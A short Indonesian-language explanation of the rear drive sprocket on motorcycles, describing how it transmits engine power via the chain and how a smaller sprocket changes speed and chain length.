Roda gigi yang dimaksud pada pembahasan ini adalah roda gigi penggerak roda belakang. Roda gigi ini terletak menjadi satu unit dengan poros roda belakang. Roda gigi penggerak roda belakang meneruskan putaran mesin dengan perantaraan rantai. Hampir semua sepeda motor menggunakan roda gigi penggerak kecuali vespa.
Agar kecepatan sepeda motor bertambah pada tenaga mesin yang sama roda gigi belakang harus diganti dengan yang lebih kecil diameternya, jika roda gigi diganti dengan yang lebih kecil tentu saja panjang rantai roda harus dikurangi atau disetel.